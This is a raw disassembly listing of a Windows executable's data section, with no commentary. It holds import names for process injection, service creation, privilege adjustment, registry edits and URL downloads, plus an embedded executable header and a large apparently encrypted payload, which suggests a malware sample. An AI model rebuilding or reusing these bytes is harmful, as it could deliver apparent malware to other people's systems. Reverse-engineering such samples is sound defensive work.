dword_411E6C dd 77DE7E48h ; DATA XREF: DMN0:0040599Ar
; DMN0:004059ADr ...
dword_411E70 dd 77DE1356h ; DATA XREF: DMN0:004059F1r
; DMN1:00446972r
dword_411E74 dd 77DE1EBDh ; DATA XREF: sub_405AC9+35r
; sub_446A4A+35r
dword_411E78 dd 77DF7311h ; DATA XREF: sub_406042+11r
; sub_446FC3+11r
dword_411E7C dd 77DD5D20h ; DATA XREF: sub_406042+28r
; sub_446FC3+28r
dword_411E80 dd 77DDA595h ; DATA XREF: sub_406042+5Fr
; sub_446FC3+5Fr
align 8
dword_411E88 dd 71AB41DAh ; DATA XREF: sub_406CAEr sub_447C2Fr
dword_411E8C dd 71AB1836h ; DATA XREF: sub_406CB4r sub_447C35r
dword_411E90 dd 71AB3C22h ; DATA XREF: sub_406CBAr sub_447C3Br
dword_411E94 dd 71AD1072h ; DATA XREF: sub_406CC0r sub_447C41r
dword_411E98 dd 71AB1A6Dh ; DATA XREF: sub_406CC6r sub_447C47r
dword_411E9C dd 71AB1890h ; DATA XREF: sub_406CCCr sub_447C4Dr
dword_411EA0 dd 71AB155Ah ; DATA XREF: sub_406CD2r sub_447C53r
dword_411EA4 dd 71AB1746h ; DATA XREF: sub_406CD8r sub_447C59r
dword_411EA8 dd 71AB3E5Dh ; DATA XREF: sub_406CDEr sub_447C5Fr
dword_411EAC dd 71AB3ECEh ; DATA XREF: sub_406CE4r sub_447C65r
dword_411EB0 dd 71AB5DE2h ; DATA XREF: sub_406CEAr sub_447C6Br
dword_411EB4 dd 71AB868Dh ; DATA XREF: sub_406CF0r sub_447C71r
dword_411EB8 dd 71AB1746h ; DATA XREF: sub_406CF6r sub_447C77r
dword_411EBC dd 71AD1020h ; DATA XREF: sub_406CFCr sub_447C7Dr
dword_411EC0 dd 71AB1AF4h ; DATA XREF: sub_406D02r sub_447C83r
dword_411EC4 dd 71AB12F8h ; DATA XREF: sub_406D08r sub_447C89r
dword_411EC8 dd 71AB2BBFh ; DATA XREF: sub_406D0Er sub_447C8Fr
dword_411ECC dd 71AB157Eh ; DATA XREF: sub_406D14r sub_447C95r
dword_411ED0 dd 71AB32CAh ; DATA XREF: sub_406D1Ar sub_447C9Br
dword_411ED4 dd 71AB401Ch ; DATA XREF: sub_406D20r sub_447CA1r
dword_411ED8 dd 71AB1ED3h ; DATA XREF: sub_406D26r sub_447CA7r
dword_411EDC dd 71AD2E5Fh ; DATA XREF: sub_406D2Cr sub_447CADr
dword_411EE0 dd 71AB1740h ; DATA XREF: sub_406D32r sub_447CB3r
align 8
dword_411EE8 dd 76D67CDBh ; DATA XREF: sub_406D38r sub_447CB9r
align 10h
dword_411EF0 dd 7620AFB6h ; DATA XREF: sub_403838+19r
; sub_4447B9+19r
dword_411EF4 dd 76214750h ; DATA XREF: sub_403838+48r
; sub_4447B9+48r
dword_411EF8 dd 76204E4Dh ; DATA XREF: sub_403838+62r
; sub_403838+94r ...
dword_411EFC dd 7620BD61h ; DATA XREF: sub_403838+F1r
; sub_4447B9+F1r
dd 0
dd 65470000h, 63695474h, 756F436Bh, 746Eh, 6E490000h, 61697469h
dd 657A696Ch, 74697243h, 6C616369h, 74636553h, 6E6F69h
dd 6E450000h, 43726574h, 69746972h, 536C6163h, 69746365h
dd 6E6Fh, 654C0000h, 43657661h, 69746972h, 536C6163h, 69746365h
dd 6E6Fh, 65470000h, 64745374h, 646E6148h, 656Ch, 65470000h
dd 636F4C74h, 69546C61h, 656Dh, 65470000h, 646F4D74h, 46656C75h
dd 4E656C69h, 41656D61h, 0
aLocalalloc db 'LocalAlloc',0
align 4
dd 72430000h, 65746165h, 656C6946h, 7070614Dh, 41676E69h
dd 0
aGetlasterror_0 db 'GetLastError',0
align 4
aMapviewoffile db 'MapViewOfFile',0
align 4
aUnmapviewoffil db 'UnmapViewOfFile',0
dd 704F0000h, 69466E65h, 614D656Ch, 6E697070h, 4167h, 6C430000h
dd 4865736Fh, 6C646E61h, 65h, 706D6F43h, 53657261h, 6E697274h
dd 4167h, 6C530000h, 706565h, 6E490000h, 6C726574h, 656B636Fh
dd 63784564h, 676E6168h, 65h, 61657243h, 754D6574h, 41786574h
dd 0
aOpenmutexa db 'OpenMutexA',0
align 4
dd 72430000h, 65746165h, 636F7250h, 41737365h, 0
aSetlasterror db 'SetLastError',0
align 10h
aDeletefilea db 'DeleteFileA',0
dd 65470000h, 6D655474h, 74615070h, 4168h, 65470000h, 6D655474h
dd 6C694670h, 6D614E65h, 4165h, 6F430000h, 69467970h, 41656Ch
dd 65530000h, 6C694674h, 74744165h, 75626972h, 41736574h
dd 0
aInterlockedexc db 'InterlockedExchangeAdd',0
align 4
dd 78450000h, 72507469h, 7365636Fh, 73h, 74696157h, 53726F46h
dd 6C676E69h, 6A624F65h, 746365h, 736C0000h, 6D637274h
dd 416970h, 736C0000h, 70637274h, 416E79h, 72430000h, 65746165h
dd 6E657645h, 4174h, 65530000h, 65764574h, 746Eh, 61570000h
dd 6F467469h, 6C754D72h, 6C706974h, 6A624F65h, 73746365h
dd 0
aGetfileattribu db 'GetFileAttributesA',0
align 4
dd 65520000h, 45746573h, 746E6576h, 0
aFindresourcea db 'FindResourceA',0
align 4
aSizeofresource db 'SizeofResource',0
align 4
dd 6F4C0000h, 65526461h, 72756F73h, 6563h, 6F4C0000h, 65526B63h
dd 72756F73h, 6563h, 65470000h, 72754374h, 746E6572h, 636F7250h
dd 737365h, 69560000h, 61757472h, 6C6C416Ch, 7845636Fh
dd 0
aGetmodulehandl db 'GetModuleHandleA',0
align 10h
aGetprocaddress db 'GetProcAddress',0
align 10h
dd 72570000h, 50657469h, 65636F72h, 654D7373h, 79726F6Dh
dd 0
aCreateremoteth db 'CreateRemoteThread',0
align 4
dd 704F0000h, 72506E65h, 7365636Fh, 73h, 45746547h, 43746978h
dd 5465646Fh, 61657268h, 64h, 61657243h, 6F546574h, 65686C6Fh
dd 3233706Ch, 70616E53h, 746F6873h, 0
aProcess32first db 'Process32First',0
align 4
dd 72500000h, 7365636Fh, 4E323373h, 747865h, 65470000h
dd 6D6F4374h, 646E616Dh, 656E694Ch, 454B0041h, 4C454E52h
dd 642E3233h, 6C6Ch, 65520000h, 65724367h, 4B657461h, 78457965h
dd 41h, 53676552h, 61567465h, 4565756Ch, 4178h, 65520000h
dd 6F6C4367h, 654B6573h, 79h, 4F676552h, 4B6E6570h, 78457965h
dd 41h, 44676552h, 74656C65h, 79654B65h, 41h, 74696E49h
dd 696C6169h, 6553657Ah, 69727563h, 65447974h, 69726373h
dd 726F7470h, 0
aSetsecuritydes db 'SetSecurityDescriptorDacl',0
align 4
aGetusernamea db 'GetUserNameA',0
align 4
aOpenscmanagera db 'OpenSCManagerA',0
align 4
dd 704F0000h, 65536E65h, 63697672h, 4165h, 6C430000h, 5365736Fh
dd 69767265h, 61486563h, 656C646Eh, 0
aQueryservicest db 'QueryServiceStatus',0
align 4
dd 68430000h, 65676E61h, 76726553h, 43656369h, 69666E6Fh
dd 4167h, 68430000h, 65676E61h, 76726553h, 43656369h, 69666E6Fh
dd 413267h, 74530000h, 53747261h, 69767265h, 416563h, 72430000h
dd 65746165h, 76726553h, 41656369h, 0
aDeleteservice db 'DeleteService',0
align 4
aRegqueryvaluee db 'RegQueryValueExA',0
align 10h
aSetservicest_2 db 'SetServiceStatus',0
align 4
aRegisterserv_0 db 'RegisterServiceCtrlHandlerA',0
dd 74530000h, 53747261h, 69767265h, 74436563h, 69446C72h
dd 74617073h, 72656863h, 41h, 6B6F6F4Ch, 72507075h, 6C697669h
dd 56656765h, 65756C61h, 41h, 6E65704Fh, 636F7250h, 54737365h
dd 6E656B6Fh, 0
aAdjusttokenpri db 'AdjustTokenPrivileges',0
aAdvapi32_dll db 'ADVAPI32.dll',0
align 10h
aS_1:
unicode 0, <s>,0
aT:
unicode 0, <t>,0
dd 17h, 15h, 3, 12h, 0Ch, 9, 4, 2, 0Dh, 1, 0Fh, 10h, 13h
dd 0Ah, 34h, 6, 39h, 0Bh, 14h, 11h, 6Fh, 434F5357h, 2E32334Bh
dd 6C6C64h, 65470000h, 46704974h, 6177726Fh, 61546472h
dd 656C62h, 6C687069h, 69706170h, 6C6C642Eh, 0
aInternetopena db 'InternetOpenA',0
align 4
aInternetopen_0 db 'InternetOpenUrlA',0
align 10h
aInternetcloseh db 'InternetCloseHandle',0
dd 6E490000h, 6E726574h, 65527465h, 69466461h, 656Ch, 494E4957h
dd 2E54454Eh, 6C6C64h, 72570000h, 43657469h, 6F736E6Fh
dd 41656Ch, 6C540000h, 74655373h, 756C6156h, 65h, 61657243h
dd 68546574h, 64616572h, 0
aResumethread db 'ResumeThread',0
align 4
aExitthread_0 db 'ExitThread',0
align 10h
dd 65470000h, 61745374h, 70757472h, 6F666E49h, 41h, 556C7452h
dd 6E69776Eh, 64h, 70616548h, 61657243h, 6574h, 65480000h
dd 65447061h, 6F727473h, 79h, 70616548h, 6F6C6C41h, 63h
dd 70616548h, 6C416552h, 636F6Ch, 65480000h, 72467061h
dd 6565h, 65480000h, 69537061h, 657Ah, 65480000h, 61567061h
dd 6164696Ch, 6574h, 65440000h, 6574656Ch, 74697243h, 6C616369h
dd 74636553h, 6E6F69h, 72430000h, 65746165h, 656C6946h
dd 41h, 41736C54h, 636F6C6Ch, 0
aGetcurrentthre db 'GetCurrentThreadId',0
align 4
dd 6C540000h, 65724673h, 65h, 47736C54h, 61567465h, 65756Ch
dd 6E550000h, 646E6168h, 4564656Ch, 70656378h, 6E6F6974h
dd 746C6946h, 7265h, 65470000h, 73795374h, 546D6574h, 41656D69h
dd 6C694673h, 6D695465h, 65h, 46746547h, 54656C69h, 657079h
dd 75440000h, 63696C70h, 48657461h, 6C646E61h, 65h, 48746553h
dd 6C646E61h, 756F4365h, 746Eh, 65470000h, 766E4574h, 6E6F7269h
dd 746E656Dh, 69727453h, 73676Eh, 72460000h, 6E456565h
dd 6F726976h, 6E656D6Eh, 72745374h, 73676E69h, 41h, 74726956h
dd 416C6175h, 636F6C6Ch, 0
aVirtualquery db 'VirtualQuery',0
align 4
aWritefile db 'WriteFile',0
align 4
aSetstdhandle db 'SetStdHandle',0
align 4
aSetconsolectrl db 'SetConsoleCtrlHandler',0
align 4
aSetfilepointer db 'SetFilePointer',0
align 4
dd 65520000h, 69466461h, 656Ch, 65530000h, 646E4574h, 6946664Fh
dd 656Ch
dword_4127E8 dd 960000h ; DATA XREF: sub_407BD0+44r
; sub_407BD0+51r ...
dword_4127EC dd 0 ; DATA XREF: sub_407BD0:loc_407C0Fr
; sub_407BD0+57r ...
dword_4127F0 dd 3F0000h ; DATA XREF: sub_4085B0+Fw
; DMN0:004085D0r ...
dword_4127F4 dd 14CF88h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: DMN0:off_41121Co
dword_41280C dd 14CF60h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: DMN0:off_411218o
dword_412824 dd 14CF38h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: DMN0:off_411214o
dword_41283C dd 14CF10h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: DMN0:off_411210o
dword_412854 dd 63F46024h ; DATA XREF: sub_409240o
; DMN0:00409267r ...
dword_412858 dd 1C811B1h ; DATA XREF: DMN0:0040926Dr
; DMN1:0044A1EEr
dword_41285C dd 14C530h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: sub_40103Co
; sub_401048+4o ...
dword_412874 dd 14C580h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: sub_401097o
; DMN0:004010D2o ...
dword_41288C dd 14C558h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: sub_401165o
; DMN0:004011DEo ...
dword_4128A4 dd 3F2318h ; DATA XREF: sub_40122A+18r
; sub_40122A+41w ...
dword_4128A8 dd 0 ; DATA XREF: sub_4066F1+63r
; sub_4066F1+268r ...
dword_4128AC dd 0 ; DATA XREF: sub_4066F1+DAr
; sub_4066F1+F5r ...
dword_4128B0 dd 0 ; DATA XREF: sub_4066F1+D4r
; sub_4066F1+10Dr ...
dd 1Dh dup(0)
dword_412928 dd 3 dup(0) ; DATA XREF: sub_4023DC+15o
; sub_44335D+15o
dword_412934 dd 9503F8h ; DATA XREF: sub_403B86+1Cr
; sub_403B86+3Dr ...
dword_412938 dd 0 ; DATA XREF: DMN0:0040598Fo
; DMN0:loc_4059A2o ...
dword_41293C dd 0 ; DATA XREF: DMN0:loc_405985w
; DMN0:loc_4059B5w ...
dword_412940 dd 0 ; DATA XREF: DMN0:00405A3Bw
; DMN1:004469BCw
align 10h
dword_412950 dd 0 ; DATA XREF: DMN0:00405A42w
; DMN1:004469C3w
dword_412954 dd 0 ; DATA XREF: DMN0:00405994r
; DMN0:004059A7r ...
off_412958 dd offset aNts ; DATA XREF: DMN0:004059EBr
; sub_405AC9:loc_405AD7r ...
; "NTS"
dword_41295C dd 0 ; DATA XREF: sub_405AC9+13w
; sub_405AC9+30o ...
dword_412960 dd 0 ; DATA XREF: sub_405AC9+18w
; sub_446A4A+18w
dword_412964 dd 0 ; DATA XREF: sub_405AC9+22w
; sub_446A4A+22w
dword_412968 dd 0 ; DATA XREF: sub_405AC9+29w
; sub_446A4A+29w
dword_41296C dd 0 ; DATA XREF: sub_405C80+Br
; sub_405C80+5Fr ...
dword_412970 dd 400h dup(0) ; DATA XREF: sub_405EFE+1Bo
; sub_405EFE+31o ...
dword_413970 dd 14C5A8h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: sub_4066F1+2Fo
; sub_447672+2Fo
dword_413988 dd 3F1E90h ; DATA XREF: sub_408D80+6Fr
; sub_408E20+1Br ...
dd 3Fh dup(0)
dword_413A88 dd 20h ; DATA XREF: sub_408E20+6r
; sub_4092A0+28w ...
dd 15Eh dup(0)
dd 470501C8h, 0
dd 10000h, 0Ah, 80000018h, 0
dd 470501C8h, 0
dd 10000h, 1F41h, 80000030h, 0
dd 470501C8h, 0
dd 10000h, 419h, 48h, 14058h, 16078h, 2 dup(0)
dd 505A4Dh, 2, 0F0004h, 0FFFFh, 0B8h, 0
dd 1A0040h, 8 dup(0)
dd 100h, 0E0010BAh, 0CD09B41Fh, 4C01B821h, 909021CDh, 73696854h
dd 6F727020h, 6D617267h, 73756D20h, 65622074h, 6E757220h
dd 646E7520h, 57207265h, 32336E69h, 37240A0Dh, 22h dup(0)
dd 4550h, 3014Ch, 3 dup(0)
dd 0A18E00E0h, 10Bh, 3 dup(0)
dd 46B7Ah, 1000h, 0
dd 10000000h, 1000h, 200h, 2 dup(0)
dd 4, 0
dd 48000h, 400h, 0
dd 2, 100000h, 1000h, 100000h, 1000h, 0
dd 10h, 2 dup(0)
dd 47038h, 28h, 6 dup(0)
dd 47060h, 10h, 14h dup(0)
aDmn0 db 'DMN0',0
align 4
dd 30000h, 1000h, 5 dup(0)
dd 0C0000060h, 314E4D44h, 0
dd 15BA3h, 31000h, 15C00h, 400h, 3 dup(0)
dd 0E0000060h, 324E4D44h, 0
dd 78h, 47000h, 78h, 16000h, 3 dup(0)
dd 0C0000060h, 64h dup(0)
dd 0B7BFFC18h, 6788BDFFh, 55E9BFD2h, 6A71A8A0h, 884E30D4h
dd 29F278A2h, 736ECE38h, 4CCBC432h, 0EFA05EEEh, 558DC417h
dd 8B943DF8h, 0F1D3572Ah, 12DEFDBFh, 0DC4EA7D3h, 826C1442h
dd 0D0CCCBD2h, 0E55DA14Ch, 6E187289h, 669A1B58h, 75B96CF7h
dd 8112F23Fh, 9CC13EF6h, 5FB1509Bh, 0C25513FDh, 0A78C1B8Ch
dd 0C7D0A3B6h, 68341060h, 3F51A42Fh, 0E0D5F10Dh, 91F4B323h
dd 6B727AEBh, 60F4F7DDh, 66205971h, 32F0CDABh, 782A9A09h
dd 3A8AC84Ch, 0C920B3B0h, 96B48D58h, 7A6C6E31h, 0C6C0CF16h
dd 7ABE8FE7h, 0FA180CD8h, 7C919C4Ch, 3983D856h, 912772C4h
dd 868BD592h, 41A91172h, 2395A4EFh, 0E6FF569Bh, 0FC815296h
dd 0C7C700A2h, 0BE308038h, 0D4397D0h, 1CFF015Dh, 0EF8C54B8h
dd 936D8E27h, 0C6EF36BDh, 0DB97E071h, 760D3326h, 345FBC48h
dd 27250AEDh, 4E72E42Dh, 0BD74EA6Ah, 0D632BA98h, 6ADF8A74h
dd 7320CD81h, 0F84648FAh, 546054AAh, 109A5BDBh, 8E93FC4Bh
dd 238FFB31h, 247069B9h, 0F1049E9Eh, 7CA9B1FDh, 4905C6C3h
dd 8BDBA6Ch, 0BDB565A9h, 0E5E00923h, 9BF14D1Eh, 17E0D9B7h
dd 6235E740h, 0C2D17446h, 0AB135ADCh, 9C41CC01h, 0F2597DCCh
dd 0BB39F56h, 0CED279D7h, 0B30962E9h, 98B1A635h, 77F7CBFCh
dd 0B6C6E3A4h, 7BC3354Ch, 0F6C35CDAh, 901AE82Fh, 275ECEFCh
dd 121C495Fh, 0CEDE73ABh, 43AE9FD6h, 1B99B798h, 0E81C2040h
dd 0FE776FBFh, 24AEE9FEh, 5DB5FC33h, 9925A1Ah, 5804FEA5h
dd 88839EF5h, 7702B887h, 0FDED2D3Eh, 0C22A602Ch, 0ED7FD7D8h
dd 0EAAC5160h, 64C980F8h, 0A6A39077h, 76831C40h, 4DC21C0Bh
dd 0A346231Fh, 51A0614Ah, 0B46DFFB8h, 31DB6214h, 16CA4B18h
dd 83D3C79Ch, 0FD572705h, 8420BF0Ah, 61732923h, 63196A89h
dd 8D718092h, 1E5048DEh, 48FD2AC2h, 46B6FDD3h, 3CE08C12h
dd 92C20696h, 35FFED0h, 9D51477Ch, 524833D3h, 0D379345Ch
dd 57311698h, 0D0F16AB0h, 0D0039AB9h, 7BF566CBh, 0A08C235Fh
dd 0AC0906ABh, 35E453ABh, 666753C2h, 0CAC7E9DEh, 5E668094h
dd 0C96CDC07h, 31D9DC07h, 0E63B810Dh, 37CC8C4Fh, 2073A33Fh
dd 63C3E8B3h, 28FF4FB0h, 0B41FF0B4h, 693F17Ah, 48F13301h
dd 0DAED8B5Eh, 4D4C41FBh, 0EFA76D49h, 9B2647ABh, 0E8DFEA42h
dd 817D8099h, 0F7FFBE69h, 0CFEA955Fh, 0B4FF07B6h, 0C9D54B23h
dd 1BD514AFh, 5FDEA426h, 9F85568Ah, 0A3BAFE37h, 0D896FC55h
dd 1183CE97h, 14E90C51h, 71C85122h, 5ED9722Eh, 714F5735h
dd 0A8DB11Ah, 0AD7248FCh, 1B0A1383h, 5181E7D2h, 17C90379h
dd 350E2733h, 9BC39728h, 5267A44Ch, 63CAC3F4h, 0E9348AD4h
dd 73C04C70h, 84C52D3Eh, 7656317Ah, 1429D5BEh, 8AB657h
dd 0AB8D4234h, 5EF4851Bh, 4A813E12h, 0E51D7E18h, 0B6515A5h
dd 0A3CF4C13h, 0FF66FF76h, 62B266B3h, 0A3744FC0h, 0B3816941h
dd 8CC8CC18h, 31494D9Ch, 8519C6D8h, 91E92608h, 0B217D843h
dd 0AAB053C1h, 0CCF20C42h, 7FACA58h, 9FEC647Bh, 0BD3234C9h
dd 0F3F74C9Ah, 0ADB19BF5h, 6E7B3244h, 0AD6DD19Ah, 4DF8540Ch
dd 0D8054CF2h, 0FA52AAF9h, 6851E75Bh, 66539189h, 6D7566F0h
dd 2B84CAF3h, 0EF973FD5h, 0B85E376Bh, 1002EBAh, 7FC78F4h
dd 63B7FAEFh, 0D8293BC4h, 0E62B3B2Eh, 52B07970h, 6A7EC133h
dd 64A6A050h, 0CC2E27E2h, 0E783EDA6h, 663A1335h, 0D23C4C2Ch
dd 0A3A862A3h, 36F29AA1h, 90D24B64h, 77DEBD2Eh, 6498D7E8h
dd 7774D38Fh, 5862094Ch, 0E4EF14BAh, 0AAA0B125h, 0AF1A1798h
dd 314E9946h, 0B0DACE44h, 8F878C0Ch, 0BA151C91h, 0FB13FE48h
dd 0B02756h, 817BA480h, 0A68B194Eh, 0A8762D8Dh, 8BC29B73h
dd 0A26C0308h, 0C1F90932h, 0B3D6FD69h, 0D143F09Bh, 7548A1BEh
dd 0B1226391h, 0FC1245BFh, 0D3E68400h, 0A05E02F8h, 344A3995h
dd 3AB9621Eh, 2BA1EA39h, 0C7E6C415h, 2AE1DFD7h, 98CA0682h
dd 0E0F9F9E9h, 1A71BCB4h, 0A20ACD76h, 9B88CE6Fh, 0C042EAA7h
dd 0C5A5A518h, 6E998518h, 0FA7C187Dh, 835BD642h, 0E19EE48Ch
dd 0E5C20BC7h, 0DC5B04C7h, 0E652D1Dh, 0B8C5E51Ch, 763B47B8h
dd 1D517B53h, 38E24941h, 60498145h, 1277518Ch, 83DC0D72h
dd 198D2EFDh, 0B54305D9h, 5033746Ch, 3C3496D0h, 6D7BA0FBh
dd 40657A7Dh, 69DD1870h, 6CFC0BD4h, 30A8C676h, 49D46FB7h
dd 3C1EE77Eh, 2153673Ch, 2756322Fh, 9BA479A3h, 7754451Bh
dd 483F1601h, 0B625A629h, 0D11F72EBh, 0C5A1D2EFh, 8B47D49Bh
dd 5A421EE1h, 8F5B745Fh, 0BF798C05h, 0EA9DE6EFh, 0B31BB7CAh
dd 6E902CECh, 9BEE843Fh, 343CDEAEh, 0B1396717h, 9FA1B84Ah
dd 408CF1F3h, 6E243D86h, 0DD9F6A98h, 0D31BC65Ah, 0F40005E6h
dd 4CD63E81h, 0A3385A08h, 8183C2B9h, 96A7589Eh, 0CF7EA66Bh
dd 0F09FAADAh, 1F571B6Bh, 53F7B17Bh, 30036F3Dh, 73573BF7h
dd 0CD840A79h, 6379691Eh, 3766C2BFh, 0D8B45162h, 6C7D2D53h
dd 0F65C556Ch, 3BA25DCDh, 0DBDDB775h, 0F633037Dh, 5A114CBEh
dd 3ADEAAFEh, 5945EE7Eh, 218B92C2h, 0C6093441h, 0E6AC42CCh
dd 802CA96h, 504B06A1h, 2A1CAD43h, 8BF4EC47h, 0A9F195B2h
dd 9CD2A400h, 0D13F2F43h, 0FAB249Eh, 0BF7F6F2h, 0BCBE5083h
dd 0B1C9AF6Ah, 8D036FA4h, 0AB200767h, 0EB6EA603h, 91B7F33Ch
dd 0C2E22E99h, 0D0FAD834h, 19CF8F33h, 29CA9140h, 694A35EFh
dd 49C713D3h, 0ECC9AD36h, 3B7FAE7Ch, 9F19DE55h, 376AFF0Ch
dd 40FA8718h, 167F33B8h, 58704020h, 9B0993EEh, 1A0CBEC4h
dd 9E070C80h, 0DB4A60E0h, 8A560242h, 0FDC1990Ah, 95D4C191h
dd 0D5DDCAA5h, 0E4BEB398h, 0F505599h, 1688E8E1h, 9EE19078h
dd 8EBA6F5Ch, 3FE9C89Ch, 4B94F89Dh, 384473DFh, 863E2E66h
dd 0B0863A30h, 0CD7082F2h, 59505EB0h, 49896F13h, 6F5D539Ah
dd 22E41FE1h, 6E5C5076h, 855CAAD9h, 38D8C95Eh, 0A16D7A84h
dd 7059336Eh, 0AF284581h, 4D500C24h, 1A0A0E0Eh, 0ED7D4315h
dd 0E49367F8h, 0B7708170h, 0D3B7F6D3h, 6B4B423h, 0A2A105AAh
dd 7477096Ch, 6B117705h, 0B5FA4F6Bh, 0C3010D68h, 7B4D1614h
dd 0A0B442Fh, 80E05BA4h, 0B7497BE4h, 5DA9C91Ah, 691E2CC3h
dd 0B84805A2h, 0EA679550h, 52054BF5h, 98BC0587h, 0F463A75Ch
dd 73CA388h, 7A6B857Ch, 15B5B3FEh, 6166009Dh, 215BC296h
dd 8039990Ah, 71CD74F3h, 5A113C28h, 38774943h, 0C57887A0h
dd 3C6CAC81h, 860FBF50h, 2BC9F4D7h, 3F859245h, 368B40DEh
dd 7176D49Ch, 96D6A430h, 26E4CACDh, 0CE27B086h, 2D79FC2Fh
dd 619E8D24h, 10491397h, 0EB928543h, 680A40A2h, 73D0C21h
dd 0F242C63Ch, 136DAD3Bh, 70A6033Eh, 0A0C1AC6Ch, 82D14D7Eh
dd 0CB475A96h, 8E98B93Ah, 0EF444B6Ch, 1D926CCAh, 61D55D8Dh
dd 0BCE10BD8h, 0C27B3DEEh, 0A1D5BBABh, 778864B9h, 9099CFAh
dd 0F2C2456Bh, 0F422B124h, 2119DCA8h, 0F97D543Ch, 6814C75Eh
dd 0FDD74E04h, 0D20C4FE3h, 0E067E0EFh, 23403C06h, 5AE30775h
dd 0F27C385h, 1E4D3A63h, 0DB17C0FAh, 7DCC879Eh, 0BEC2C516h
dd 17BA8683h, 675C7B0Eh, 0D1103100h, 569AF0DAh, 0D048873Fh
dd 71A38CB4h, 0DFEC2259h, 902B1DA0h, 31547F2Bh, 3BCB486h
dd 24875EB3h, 1C0233B2h, 0CAB96C14h, 0E682659Fh, 3B1FADF0h
dd 88F7973Ch, 0C5E116EEh, 0C2354125h, 0B4155AFEh, 0DA9DE93Bh
dd 34561891h, 0EC1F4E9Eh, 0C74C6CD5h, 0A6743A11h, 0EE21D2E3h
dd 49C87E15h, 0C3720F1h
dd 5B97885h, 0AEB95D33h, 8C970403h, 660649B1h, 1D9121F2h
dd 73E8C87Dh, 2AA7F08Dh, 0B3649E7h, 8A2F76CDh, 361803E5h
dd 0D83D29CFh, 979774BAh, 0C7624237h, 28B2EA4Ch, 0BBC50F49h
dd 0F497D395h, 787BC27Ah, 0A9890AA8h, 0F30A5025h, 88BC5D98h
dd 0A872CC0h, 4E9E8E1Eh, 5453D163h, 57E5299Fh, 0DD83F4DDh
dd 4DAA1140h, 0E1ECE8BCh, 9AAA8AE4h, 39EE6B3Ah, 0DD0347D4h
dd 8F35889Eh, 0B276E897h, 0B77307A7h, 751AF517h, 0CCA28559h
dd 29572E69h, 0DD149141h, 615D73Ch, 444F8AA7h, 3C635E1Bh
dd 8EFC4BE6h, 421A4814h, 0CF95B540h, 1CD9C434h, 5628F865h
dd 0B6E8AD8Bh, 3633013Dh, 67D7213Ch, 4F39E53Fh, 31BC5C18h
dd 748E9603h, 0EA46C07Ah, 5BDFEA13h, 7FEA5A83h, 83E4B307h
dd 3D7D745Ah, 5DF93353h, 0DA073AE1h, 3A01FB53h, 0F56F20FAh
dd 6F84BA2h, 0D4014A27h, 9F64E88h, 0D0C33493h, 0F7D7745h
dd 44968F47h, 0C640BCDFh, 0CB109893h, 0B401475h, 603946F4h
dd 6DE1F69Eh, 0E222ED8h, 0DB2AB36Ch, 5AEE7D79h, 0B5B49E5Bh
dd 97E75223h, 90438ED9h, 4FB9D965h, 405B3782h, 0BB4DB590h
dd 11B84661h, 1D673E94h, 1C1820CAh, 0A89087BEh, 2220AFCh
dd 0BE7B9713h, 0AB9B8B04h, 18674BD4h, 0A12FE7B4h, 512B4580h
dd 8047C7F4h, 99CE2AD2h, 0E1564E19h, 0DEBBA65h, 0F371033Dh
dd 0D5E873C1h, 513E6BC1h, 65E06E95h, 6ADA8727h, 5021B60Ah
dd 2C6CA55Bh, 992FDD0Dh, 97E54693h, 7AD92E41h, 57C84F1Dh
dd 572DEA38h, 0B4315DA5h, 65561E52h, 0FD2A8DBCh, 0D6A0F94Fh
dd 0D3E4EFBDh, 507BE49Bh, 1C334928h, 42D59189h, 4459F30Eh
dd 7A43A6Dh, 0AF9379D3h, 59FD613Ch, 0C21BB97Fh, 5214AF9h
dd 0AFF508Eh, 0ABC6BFF4h, 409ADB77h, 8FFA718Dh, 0D28885A0h
dd 1AFB2D87h, 88C02608h, 8027FC25h, 69F6AD41h, 0D0C98DADh
dd 4A85E736h, 8EE04E8Ah, 69697B06h, 0F450B197h, 7B1D4C70h
dd 0E64A7595h, 0E29A5973h, 16E7E14Ch, 0AA2C72C1h, 0E1B0408Dh
dd 0E6BBF22Dh, 6E81612Ch, 39225702h, 8C54CAA1h, 4CBCF4D0h
dd 281D4294h, 66446E88h, 4588AEAh, 4B784464h, 51CCC03Fh
dd 3C0F0B08h, 0E65E7BB1h, 0DB5BA785h, 8B5BCE57h, 59FF1F28h
dd 4F31CCD6h, 0AA33018Ch, 2FA75816h, 0D1150B3Ch, 6CA91245h
dd 0B2D1BBABh, 5E7BD6A3h, 7C40B163h, 0BC7DCB2Ch, 0CE8F7948h
dd 8D9D837Bh, 2221EDBh, 94DFAB3h, 59D930C8h, 0EC694F9Eh
dd 6A588F72h, 0AF10B868h, 225AA0F5h, 5A5272CCh, 0E0A629D5h
dd 0FE617100h, 7E461B53h, 5734497Ah, 0CC74CED9h, 3F19B5E5h
dd 56DB0AE1h, 95FFCE0Bh, 0D5DB2FD5h, 0DC3DEEA4h, 5754384Ah
dd 9C7E48Ch, 76FFF80Ah, 5E38EB7Fh, 2C8F2A67h, 8D900376h
dd 0D99AEB3Dh, 3176A5CEh, 0A8641808h, 0A0D183A6h, 0AEDA5817h
dd 9E2E38FCh, 16477021h, 996E70BDh, 0C123945Ah, 4769875Fh
dd 0E024BECh, 6419D600h, 64C0443Ch, 1F7B69AAh, 37A80153h
dd 9DC93A17h, 0CCEA7D0Fh, 4CAD2C12h, 0ADFC033Dh, 42DA8AF4h
dd 0F8577AA9h, 0F2952653h, 43E1A17h, 0BC73C71Ch, 3A9D7F05h
dd 0ABF4F797h, 7711DAFEh, 351DFF08h, 24DBF000h, 0D31AE0DBh
dd 0AAECA0ECh, 1C6D6136h, 90AA5F77h, 6970E32Bh, 0C3E8FDAFh
dd 63AD3AADh, 792BF731h, 8412138h, 631D22A6h, 0F39AF979h
dd 0AF5C2696h, 8545430Bh, 0CF04C0F9h, 0A60CFEBEh, 6B69326Ah
dd 0CDA271C2h, 0FBC17410h, 76067C35h, 0D30EC7F8h, 6D75D3F5h
dd 0A24C0963h, 740E3A62h, 228FA549h, 0D58DFA28h, 6006E12Eh
dd 0A589D70Fh, 51F6BA3Bh, 5318FDBEh, 0B13BEB2Eh, 0EA37234Bh
